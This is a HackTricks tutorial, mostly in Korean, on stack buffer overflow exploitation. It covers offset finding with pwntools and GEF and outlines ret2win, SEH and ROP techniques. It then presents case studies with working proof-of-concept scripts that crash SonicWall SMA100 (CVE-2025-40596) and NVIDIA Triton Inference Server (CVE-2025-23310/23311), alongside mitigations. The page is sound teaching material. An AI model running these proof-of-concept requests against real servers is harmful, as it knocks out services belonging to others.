Stack Overflow

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Stack Overflow란 무엇인가

A stack overflow는 프로그램이 스택에 할당된 용량보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 인접한 메모리 공간을 덮어쓰게 되어, 유효한 데이터 손상, 제어 흐름의 교란, 그리고 잠재적으로 악성 코드 실행으로 이어질 수 있습니다. 이 문제는 종종 입력에 대해 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.

이 덮어쓰기의 주요 문제는 이전 함수로 복귀하기 위해 저장되는 **saved instruction pointer (EIP/RIP)**와 **saved base pointer (EBP/RBP)**가 스택에 저장되어 있다는 것입니다. 따라서 공격자는 이를 덮어써서 프로그램의 실행 흐름을 제어할 수 있게 됩니다.

이 취약점은 일반적으로 함수가 스택 내부에 할당된 것보다 더 많은 바이트를 복사하기 때문에 발생하며, 그 결과 스택의 다른 부분을 덮어쓸 수 있게 됩니다.

취약하기 쉬운 일반적인 함수로는 strcpy, strcat, sprintf, gets 등이 있습니다. 또한 fgets, read 및 **memcpy**처럼 length argument를 받는 함수들도, 지정한 길이가 할당된 크기보다 클 경우 취약하게 사용될 수 있습니다.

예를 들어, 다음 함수들이 취약할 수 있습니다:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflow offsets 찾기

가장 흔한 방법은 매우 큰 A 입력(예: python3 -c 'print("A"*1000)')을 주고 Segmentation Fault를 기대하는 것이다. 이는 주소 0x41414141에 접근하려고 시도함을 나타낸다.

또한, Stack Overflow 취약점을 발견하면 return address를 덮어쓸 수 있을 때까지의 offset을 찾아야 하는데, 이를 위해 보통 De Bruijn sequence가 사용된다. 이는 주어진 알파벳 크기 _k_와 부분수열 길이 _n_에 대해, 길이 _n_인 모든 가능한 부분수열이 정확히 한 번씩 연속적으로 나타나는 순환 시퀀스다.

이 방법을 사용하면 수동으로 EIP를 제어하기 위한 offset을 알아내는 대신, 패딩으로 이 시퀀스 중 하나를 사용하고 어느 바이트가 덮어썼는지 찾아 offset을 확인할 수 있다.

It's possible to use pwntools for this:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

또는 GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

오버플로우가 발생하면(오버플로우 크기가 충분히 큰 경우) 스택 내의 지역 변수 값들을 저장된 **EBP/RBP and EIP/RIP (or even more)**에 도달할 때까지 덮어쓸 수 있습니다.
이 취약점을 악용하는 가장 일반적인 방법은 리턴 주소를 수정하여 함수가 종료될 때 이 포인터에 지정한 위치로 제어 흐름이 전환되게 하는 것입니다.

하지만 다른 경우에는 스택의 일부 변수 값만 덮어쓰는 것만으로도 익스플로잉이 가능한 경우가 있습니다(예: 쉬운 CTF 문제들).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows 환경에서는 오버플로우가 저장된 리턴 주소 대신 Structured Exception Handler (SEH) 체인을 덮어쓸 수 있습니다. 익스플로잉은 일반적으로 SEH 포인터를 POP POP RET gadget으로 교체하고 4바이트 nSEH 필드를 짧은 점프로 사용하여 shellcode가 존재하는 큰 버퍼로 다시 피벗합니다. 흔한 패턴으로는 nSEH에 있는 짧은 jmp가 nSEH 바로 앞에 놓인 5바이트 near jmp로 착지하여 페이로드 시작점으로 수백 바이트를 되돌아가게 하는 경우가 있습니다.

Windows Seh Overflow

ROP & Ret2... techniques

이 기법은 이전 기법의 주요 보호 메커니즘인 **No executable stack (NX)**를 우회하기 위한 근본적인 프레임워크입니다. 또한 기존 바이너리의 명령들을 악용해 임의 명령을 실행하는 다양한 기법(ret2lib, ret2syscall...)을 수행할 수 있게 합니다:

ROP - Return Oriented Programing

Heap Overflows

오버플로우가 항상 스택에서 발생하는 것은 아니며, 예를 들어 heap에서도 발생할 수 있습니다:

Heap Overflow

Types of protections

취약점 악용을 방지하기 위해 여러 보호 기법들이 존재합니다. 자세한 내용은 다음을 확인하세요:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

비신뢰 입력을 파싱할 때는 sscanf를 절대 신뢰하면 안 된다는 점을 잘 보여주는 사례가 2025년 SonicWall의 SMA100 SSL-VPN 어플라이언스에서 등장했습니다. /usr/src/EasyAccess/bin/httpd 내부의 취약한 루틴은 /__api__/로 시작하는 모든 URI에서 버전과 엔드포인트를 추출하려고 시도합니다:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. 첫 번째 변환 (%2s)은 version 바이트를 안전하게 저장합니다(예: "v1").
  2. 두 번째 변환 (%s)에는 길이 지정자가 없습니다, 따라서 sscanf첫 번째 NUL 바이트까지 계속 복사합니다.
  3. endpointstack에 위치하고 0x800 bytes long이기 때문에, 0x800 bytes보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것이 손상됩니다 ‑ 여기에는 stack canarysaved return address가 포함됩니다.

한 줄짜리 proof-of-concept만으로도 인증 전에 크래시를 유발하기에 충분합니다:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:

  • 항상 최대 필드 너비를 지정하라 (예: %511s).
  • snprintf/strncpy_s 같은 더 안전한 대안을 선호하라.

실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple stack-based overflows reachable through its HTTP API. 취약한 패턴은 http_server.ccsagemaker_server.cc에서 반복적으로 나타났다:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent)는 현재 HTTP 요청 본문을 구성하는 내부 버퍼 세그먼트의 수를 반환한다.
  2. 각 세그먼트는 alloca()를 통해 16-byte 크기의 evbuffer_iovecstack에 할당하게 되며 – 상한이 전혀 없다.
  3. **HTTP chunked transfer-encoding**을 악용하면, 클라이언트는 요청을 수십만 개의 6-byte 청크 ("1\r\nA\r\n")로 분할하도록 강제할 수 있다. 이로 인해 n이 stack이 소진될 때까지 무한히 증가한다.

개념 증명 (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

대략 3MB의 요청으로 저장된 반환 주소를 덮어쓰고 기본 빌드에서 데몬을 crash시킬 수 있습니다.

패치 및 완화

25.07 릴리스는 안전하지 않은 스택 할당을 **힙 기반 std::vector**로 교체하고 std::bad_alloc을 적절히 처리합니다:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

배운 점:

  • 공격자가 제어하는 크기로 alloca()를 호출하지 마세요.
  • Chunked requests는 server-side buffers의 형태를 급격히 바꿀 수 있습니다.
  • client input에서 유도된 모든 값은 memory allocations에 사용하기 before 반드시 검증하고 제한하세요.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기